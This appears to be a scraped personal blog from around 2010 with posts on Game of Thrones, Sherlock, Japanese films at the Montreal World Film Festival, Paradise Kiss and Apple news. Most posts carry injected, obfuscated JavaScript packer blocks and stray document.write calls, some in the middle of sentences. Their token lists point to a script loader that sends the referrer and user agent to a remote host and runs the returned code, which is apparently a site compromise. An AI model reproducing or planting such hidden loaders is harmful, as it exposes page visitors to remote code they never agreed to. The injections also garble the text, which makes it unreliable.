“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fybfh|var|u0026u|referrer|ntyhy||js|php’.split(‘|’),0,{}))


The 10-episode fantasy TV series, now set to start in April 2011, is starring Sean Bean (Boromir in Lord of the Rings), Lena Heady (Sarah Connor in Fox Terminator TV series), Nikolaj Coster-Waldau (John Amsterdam in Fox New Amsterdam TV series), Michelle Fairley (Mrs. Granger in Harry Potter and the Deathly Hallows), Peter Dinklage (Trumpkin in The Chronicles of Narnia: Prince Caspian), Charles Dance (Guy Perron in The Jewel in the Crown), Jason Momoa (Ronon Dex in Stargate Atlantis), Emilia Clarke (Savannah in Triassic Attack), Aiden Gillen (Tommy Carcetti in The Wire) and Mark Addy (Dave in The Full Monty). See also our previous blog entry about the series’
teaser.

(Source: YouTube)

Game of Thrones Trailer!

HBO adaptation of George R. R. Martin’s ‘A Song of Ice and Fire’ novels has been given a trailer! The fantasy tv series, document.write(“”); starring Sean Bean, Lena Heady, Nikolaj Coster-Waldau, Michelle Fairley, Peter Dinklage, Charles Dance, Jason Momoa, Emilia Clarke, Aiden Gillen and Mark Addy, will air in Spring 2011. In the meantime, feast your eyes with this quite too short trailer:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sahhz|var|u0026u|referrer|fbinr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isyit|var|u0026u|referrer|atksa||js|php’.split(‘|’),0,{}))


(Sources:
Entertainment Weekly, HBO Official Site, TV Squad, Wikipedia, YouTube)

Paradise Kiss live-action movie!

The superb manga series by Ai Yazawa, document.write(“”); already adapted into anime by Madhouse in 2005, is now getting a live-action movie adaptation. Produced by Fox International and starring Keiko Kitagawa (Yukari), Osamu Mukai (George), Aya ?masa (Miwako), and Kento Kaku (Arashi), the movie will be released in Japan in May 2011. Here’s the ???????? teaser to prove it (Cool! It really looks like the manga/anime; I can’t wait to see more!):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybadd|var|u0026u|referrer|ksynt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idska|var|u0026u|referrer|ffber||js|php’.split(‘|’),0,{}))


(Sources:
ANN, Japanator, Wikipedia, YouTube)

A world of illusion

Someone on Facebook recently linked to a video that exposes the fact there are much more special effects shots in most TV series than we would normally expect. It makes sense: as the cost of CGI goes down it becomes simpler and cheaper to simply shoot a scene in front of a green screen rather than go on location. We cannot believe what our eyes are seeing anymore. See the marvel of computer graphics:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifdta|var|u0026u|referrer|tezbt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssaiz|var|u0026u|referrer|iasyf||js|php’.split(‘|’),0,{}))


Also, document.write(“”); a lot of fuss was made recently about the nude scene Jessica Alba had in the movie Machete. The reason? It was another movie magics “fake”.
See for yourself.

Crying in awe

I was just checking my blog entry “The Cosmos is singing” and it led me to watch more similar videos. Not only they make a clever use of Auto-Tune, document.write(“”); but they’re also designed to “bring scientific knowledge and philosophy to the public, in a novel way, through the medium of music”. And it brings all sorts of strange emotions in me. To see more videos check the Symphony of Science website.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndtbs|var|u0026u|referrer|bazhi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbthe|var|u0026u|referrer|nnayh||js|php’.split(‘|’),0,{}))

Here’s “The Poetry of Reality”:

Tony Curtis (1925-2010)

To pay tribute to Tony Curtis, document.write(“”); who died last week, I am re-posting this video of the press conference he did at the Montreal World Film Festival in 2008 to talk about the documentary “The Jill and Tony Curtis Story.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsysz|var|u0026u|referrer|rtsnt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhkys|var|u0026u|referrer|fstdf||js|php’.split(‘|’),0,{}))

Tony Curtis from clodjee on Vimeo. (Also available on Blip.tv).

Sherlock

As many of the interesting TV shows I’ve watched over the years were produced in the UK (The Avengers, document.write(“”); The Champions, Desperate Romantics, Doctor Who, The Hitchhiker’s Guide to the Galaxy, I Claudius, Lark Rise to Candleford, Life on Mars, Merlin, Murder Rooms, Primeval, Red Dwarf, Robin Hood, Secret Diary of a Call Girl, Sherlock Holmes (with Jeremy Brett), Space: 1999, Thunderbirds, Torchwood, UFO, Upstairs Downstairs, just to name a few), I have developped a special appreciation for British series (and I’ll definitely write an article on that subject when I have the time). So, when I heard that the BBC was planning a modern adaptation of Sherlock Holmes, I was already intrigued. When I realized that it would be co-created by Steven Moffat (who’s now the lead writer for Doctor Who), I was really interested and determined to check on this new series.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yybks|var|u0026u|referrer|tdnki||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrkah|var|u0026u|referrer|hdssi||js|php’.split(‘|’),0,{}))

Simply titled “Sherlock”, the series is a piece of very clever writing. The first episode, titled “Study in Pink”, is probably the best. It is obviously based on the original story “A study in scarlet”. The character of Watson is introduced in a manner that is superbly similar to the original: he is a recently discharged soldier back from a tour in Afghanistan where he injured his leg (although Sherlock diagnosed his limping as psychosomatic). In the original, Sherlock also deducts lots of information on Watson family background by looking at his pocket watch. Here, he does the same by looking at his cellphone! In the first episode the parallel between the clever adaptation and the original story is more easily drawn. In the subsequent episodes (titled “The Blind Banker” and “The Great Game”, respectively inspired by “The dancing men” and “The Bruce-Partington plans” amongst others) the story is increasingly complex and the parallel less obvious. Unfortunately, this complexity and the fast pace of the storytelling make the series a little too hard to follow for the people who prefer more simple and quiet stories. It really gets worse with the third episode, as if they wanted to cram too many elements in the 90-minute broadcast show.

Despite the fact that Holmes uses the latest of technology to solve crimes, the modern adaptation is, in many aspects, more respectful of the spirit of the character than Guy Ritchie’s recent movie. It is exactly the same type of adventures as written by Doyle, but played in fast forward for the attention-deficit plagued video-game generation. In his crazy way, Sherlock (played by Benedict Cumberbatch) almost feels and speaks like The Doctor in “Doctor Who” (no wonder there considering Moffat’s involvement). There’s quite some good acting in that part. And, having watched the entire Granada Television series, I can certainly say the adaptation is brilliant in its every details: Watson writing a blog, Holmes using nicotine patches instead of smoking and shooting heroin, etc.

My main disappointment was that only three episodes were broadcasted on the BBC in late July and August 2010 (they are due to air on PBS in the USA from October 24th 2010). There will be a new series in Fall next years, but unfortunately it will be again only three 90-minute episodes.

Another disappointment is that Moriarty is way too present in the story. I guess the general public perception of Holmes stories is probably at fault here: since Moriarty is Holmes archenemy, people imagine he must occupy a large place in the original stories whereas he appears only in a few episodes. Interestingly, the modern adaptation ends in a way quite similar as in the first Sherlock Holmes book: rather than letting his enemy go, Sherlock doesn’t hesitate to die with him. In the original story, he jumps (or falls) into a waterfall with Moriarty. In the modern version, it is suggested that he will blow a bomb to kill Moriarty as well as himself (and Watson). Will he really die? We’ll see in the second season, I guess.

A clever and intellectually challenging tv drama. It is quite promising. I can’t wait for more. It is already available on DVD in the UK and the North American release will be in November. It would also be a good occasion to read (or re-read or read about) the original stories.

Villain / Akunin (video)

Screening presentation and press conference for the Japanese movie Villain (Akunin) at the 2010 Montreal World Film Festival (filmed September 5th & 6th 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeba|var|u0026u|referrer|zzskh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dibzs|var|u0026u|referrer|tyher||js|php’.split(‘|’),0,{}))

Villain from clodjee on Vimeo.Also available on Blip.tv

Box – The Hakamada Case (video)

Screening presentation and press conference for the Japanese movie Box – The Hakamada Case at the 2010 Montreal World Film Festival (filmed September 2nd & 3rd 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnzat|var|u0026u|referrer|frznh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nabhk|var|u0026u|referrer|aysna||js|php’.split(‘|’),0,{}))

Box – The Hakamada Case from clodjee on Vimeo.Also available on Blip.tv

Hommage à Nathalie Baye (video)

Conférence de presse rendant hommage à Nathalie Baye lors du Festival des Films du Monde 2010 (filmé le 5 septembre 2010). En français seulement.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nznez|var|u0026u|referrer|zhdth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkhhs|var|u0026u|referrer|dkdzr||js|php’.split(‘|’),0,{}))

Press conference paying tribute to French actress Nathalie Baye at the 2010 Montreal World Film Festival (filmed on September 5th). In French only.

Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.

Hommage à Nathalie Baye from clodjee on Vimeo.
Also available on Blip.tv

Caterpillar and Torocco (video)

Here are the screening presentation of the movies Caterpillar (Le Soldiat-Dieu) and Torocco (Rail Truck) at the 2010 Montreal World Film Festival. I am not a pro videographer, document.write(“”); so these video are rather shaky rough cuts with limited editing. Note that the Caterpillar video is only in French.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akiai|var|u0026u|referrer|dkyab||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brhyn|var|u0026u|referrer|sdfrs||js|php’.split(‘|’),0,{}))

Caterpillar [
Vimeo ] [ YouTube ]


Torocco [ Vimeo ] [ YouTube ]

Revue de Presse / Press Review (2010/09/06)

Personal update: Not much happened in the last week. The health is a little better, document.write(“”); but I am still quite tired. Still too busy to put online my list of items to sell at my “Virtual Yard sale” [Be patient, it’s coming]. Last Wednesday Apple announced a bunch of new products, but none of them seem really interesting to me (save maybe the iOS 4.2 update for iPad that I am eagerly awaiting [it’s announced for November]; neither the new AppleTV or the 4th gen iPod Touch would be useful to me). I’ve also been screening Japanese movies at the Montreal World Film Festival; expect several “reviews” and press conferences video soon. In the meantime, here’s a few news that got my attention:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdfft|var|u0026u|referrer|fydak||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbtsa|var|u0026u|referrer|nfanz||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news


Books, Digital Edition & Library

Economy, Environment & International Politics/News

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

[Updated 9/07 with extra news; 9/08 with Apple Keynote links]

Clip: Losique sur le cinema japonais

À la conférence de presse dévoilant la programmation 2010 du Festival des Films du Monde tenue le 10 août dernier, document.write(“”); le président du festival, Serge Logique, a fait quelques commentaires sur le cinéma Japonais. Ce n’est pas la première fois qu’il exprime ainsi une attention particulière au cinéma Japonais (quoiqu’il y a quelques années, c’était dans le cadre d’un “Focus sur le cinéma Japonais”) ce qui démontre qu’il l’apprécie et s’y intéresse beaucoup.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntbke|var|u0026u|referrer|ehnrh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhhdy|var|u0026u|referrer|kbndd||js|php’.split(‘|’),0,{}))

Il déplore que le cinéma Japonais ne soit malheureusement pas très présent ni bien connu en Amérique du Nord et que c’est la tâche des journalistes de le faire découvrir et apprécier du grand public. Il rappelle que le Japon nous a donner de nombreux grands réalisateurs et que, après quelques décennies de vaches maigres, le cinéma Japonais est revenu en grande force. Il explique que le cinéma Japonais a toujours été très présent au Festival des Films du Monde parce que les producteurs Japonais le considère comme un tremplin vers le marché international.

Vous pouvez visionner la conférence de presse présentant la programmation 2010 du FFM dans sa quasi-totalité sur Vimeo.

Losique sur le cinema Japonais from clodjee; on Vimeo.
At the press conference unveiling the Montreal World Film Festival 2010 programming, which was held on August 10th, Serge Losique, the director of the festival, made some comments on the Japanese cinema. It is not the first time that he express such a particular interest for this cinema (although a few years ago he did it while the festival was presenting a special “focus” on the Japanese cinema) which seems to demonstrate that he is quite fond of it.

He laments that Japanese cinema is unfortunately not very present nor known in North America, and that it is up to the journalists to introduce it to movie goers and make them appreciate it. He recalls that Japan gave us many great directors and that, following several decades of lean times, Japanese cinema is coming back with great strengths. He points out that it has always had an important place at the Montreal World Film Festival because Japanese producers see the festival as a stepping stone toward the international market.

You can watch the MWFF 2010 programming press conference in almost its entirety on Vimeo.

“Sword of Desperation” video

Here’s a video of the screening presentation and press conference of the Japanese movie Sword of Desperation at the Montreal World Film Festival 2010 (filmed by clodjee on August 27th, document.write(“”); 31:21 min.):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhnfz|var|u0026u|referrer|khaaf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbzfe|var|u0026u|referrer|ezakr||js|php’.split(‘|’),0,{}))

Sword of Desperation from clodjee on Vimeo.

Recommended TV series

There are two TV series that I’ve recently discovered and that I strongly recommend for various reasons:

Moyashimon Live-Action Drama

The story is based on the Moyashimon manga (first adapted into an anime in 2007: see ANNWikipedia and we had a nice article about it in PA #96) in which we follow the young Tadayasu as he enters an Agricultural University. Of course, he finds himself in all sorts of situations because of the special ability that allows him to see and communicate with micro-organisms like fungi and bacteria. I heard about the live-action drama adaptation several months ago, but I was surpised to discover yesterday that it was already available in North America through the Korean drama streaming site DramaFever.com (so far five episodes can be streamed for free) and FUNimation’s YouTube channel (also five episodes available so far; click here to see episode 1). It is both funny and very educational as it is relatively faithful to the original story (the choice of the cast is amazingly close to the original character designs).

Ken Follet’s The Pillars of the Earth


A friend recently recommended me Ken Follet’s book The Pillars of the Earth. I downloaded it to my iPad from Apple’s iBookstore ($6.99) and started reading it. It is a complex and dark historical saga set around a medieval stonemason named Tom Builder who dreams of building a cathedral (for more details see the Wikipedia entries on the novel & TV series, the IMDb entry as well as Ken Follet’s website). Then, by chance, I discovered that it had just been adapted into a Germano-Canadian 8-hour TV series showing on both Starz and The Movie Network. I’ve seen three of the eight episodes so far (a fourth is airing tonight) and I think it is a compelling historical epic well worth watching. Of course, as for all adaptations, it is not entirely faithful to the novel, but, despite the relatively somber subject, it’s a good piece of entertainment with great actors. I’ve seen a really bad review in The Washington Post, but USA Today give quite a positive impression, as well as talking about the show production and even about an “amplified edition” apps available for Apple’s iPad, iPhone and iPod Touch! If you like historical drama, it is certainly worth checking out.

A few interesting trailers

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttnak|var|u0026u|referrer|knhir||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adtdf|var|u0026u|referrer|ehads||js|php’.split(‘|’),0,{}))

More: The Green Lantern, document.write(“”); Harry Potter and the Deathly Hallows, The Chronicles of Narnia: The Voyage of the Dawn, Predators and Tron Legacy.

Gyoko: rocking the fish

This afternoon, document.write(“”); while watching a documentary on French TV, I discovered an intriguing Japanese rock band (aren’t they all?) which is singing the virtues of eating fish! After a little research I even found a Wall Street Journal article talking about them.

“Captain” Tsurizao Morita, a former tuna fisherman, works in his fish shop by day and become the leader of the rock-band Gyoko (meaning fishing port) at night to promote the fish industry and convince his fellow Japanese countrymen & women to eat more fish. All their songs are about fish. During concerts he wield a big fisherman’s knife, slicing real fish that they serve afterward to the public.

An old article on Detour Japan gives us more details on the band native of Urayasu in the Tokyo Bay. The band has its own website and has released several CDs, two of them available on Apple’s iTunes store (one self-titled album, Gyoko, offering twelve songs for only $1.99 US and the other, Fish & Peace, available for $11.88 US). They even have videoclips on YouTube! Here’s their song “Maguro” (Tuna):

There’s also a weird promo clip, a news report and an extract from a Spanish documentary

Japanese rock bands will never cease to amaze me. If they are still rocking around, someone should invite them to an anime convention!

Some cool Apple-related videos

Steve Jobs at All Things Digital
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhter|var|u0026u|referrer|entna||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhyde|var|u0026u|referrer|brish||js|php’.split(‘|’),0,{}))

WWDC 2010 Keynote Address

iPhone 4 Intro Video

Time Reinvents the iPad Magazine, document.write(“”); Again

Press Release: Fantasia, The Shape of things to come


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aahrr|var|u0026u|referrer|ekizk||js|php’.split(‘|’),0,{}))
